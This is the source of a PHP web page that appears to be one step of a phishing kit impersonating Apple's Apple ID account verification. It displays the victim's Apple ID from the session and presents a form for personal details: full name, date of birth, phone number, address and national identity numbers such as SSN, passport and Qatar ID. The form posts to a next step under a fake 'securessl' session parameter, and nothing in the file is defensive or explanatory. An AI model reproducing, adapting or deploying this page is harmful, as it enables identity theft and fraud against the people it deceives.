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  1. <?php
  2. error_reporting(0);
  3. require "assets/includes/session_protect.php";
  4. require "assets/includes/functions.php";
  5. require "assets/includes/language.mob.php";
  6. require "assets/includes/One_Time.php";
  7. require "assets/includes/enc.php";
  8. ?>
  9. <!DOCTYPE html>
  10. <html>
  11. <head>
  12. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  13. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  14. <title>Confirm your information</title>
  15. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  16. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  17. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  18. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  19. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  20. <style>.error {color:red}</style>
  21. </head>
  22. <body id="pagecontent">
  23. <div id="content">
  24. <div class="bdd45">
  25. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  26. <div class="HeaderObjHolder">
  27. <ul class="MobHeader">
  28. <li class="HeaderObj MobMenIconH">
  29. <label class="MobMenHol">
  30. <span class="MobMenIcon MobMenIcon-top">
  31. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  32. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  33. </label>
  34. </li>
  35. <li class="HeaderObj">
  36. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  37. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  38. </li>
  39. </ul>
  40. <ul class="HeaderObjList">
  41. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  42. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  43. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  44. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  45. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  46. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  47. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  48. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  49. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  50. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  51. </ul>
  52. </div>
  53. </nav>
  54.  
  55.  
  56.  
  57. <div id="flow">
  58. <div class="flow-body signin clearfix" role="main">
  59. <div class="persona-splash no-photo clearfix">
  60.     <div class="persona-bg"></div>
  61.     <div class="container">
  62.         <div class="splash-section">
  63.             <div class=" person-wrapper">
  64.                 <div>
  65.                     <div class="row">
  66.                         <div class="col-sm-9 appleid-col">
  67.                             <div class="flex-container">
  68.                                 <h1 class="mobile appleid-user">
  69.                                     <span class="first_name">Account Verification</span>
  70.                                     <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  71.                                 </h1>
  72.                             </div>
  73.                         </div>
  74.                         <div class="not-mobile col-sm-3">
  75.                             <div class="flex-container-signout">
  76.                                 <div class="signout pull-right">
  77.                                     <button class="btn btn-link">Sign Out </button>
  78.                                 </div>
  79.                             </div>
  80.                         </div>
  81.                     </div>
  82.                 </div>
  83.             </div>
  84.         </div>
  85.     </div>
  86. </div>
  87. <div class="container">
  88. <div class="flex home-content">
  89.  
  90.  
  91. <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  92. <div class="container flow-sections">
  93. <div class="editable account-edit clearfix">
  94. <div class="row edit-row">
  95. <div class="col-sm-5">                            
  96. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  97. <div class="form-group">
  98. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  99. <div class="name-input">
  100.   <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="first name">
  101.   <span id="nameerror"></span>
  102. </div>
  103. </div>
  104. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  105. <div class="name-input">
  106.   <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="middle name (optional)">
  107. </div>
  108. </div>
  109. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  110. <div class="name-input">
  111.   <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="last name">
  112. </div>
  113. </div>
  114. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  115. <div class="name-input">
  116. <input id="dob" name="dob" class="form-control form-input" type="tel" placeholder="date of birth">
  117. </div>
  118. </div>
  119. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  120. <div class="name-input">
  121. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="telephone number">
  122. </div>
  123. </div>
  124. <?php echo $lang['SSN'];?>
  125. <?php echo $lang['PASSPORT'];?>
  126. <?php echo $lang['NUMBID'];?>
  127. <?php echo $lang['NAID'];?>
  128. <?php echo $lang['CIVILID'];?>
  129. <?php echo $lang['QATARID'];?>
  130. <?php echo $lang['CITIZENID'];?>
  131. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  132. <div class="name-input">
  133.   <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="address Line ">
  134. </div>
  135. </div>
  136. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  137. <div class="name-input">
  138.   <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="town / city">
  139. </div>
  140. </div>
  141.  
  142. <div class="form-group clearfix middle-wrapper">
  143. <div class="select-wrapper">
  144. <?php echo $lang['COUNTYSELECT'];?>
  145. </div>
  146. </div>
  147. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  148. <div class="name-input">
  149.   <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="<?php echo $lang['POSTCODE'];?>">
  150. </div>
  151. </div>
  152. <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
  153. <br>
  154. <br>
  155. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  156. </div>
  157. </div>
  158. </div>
  159. </div>
  160. </div>
  161. </form>
  162.  
  163.  
  164.  
  165. </div>
  166. </div>
  167. </div>
  168. </div>
  169. </div>
  170. </div>
  171. </body>
  172. </html>
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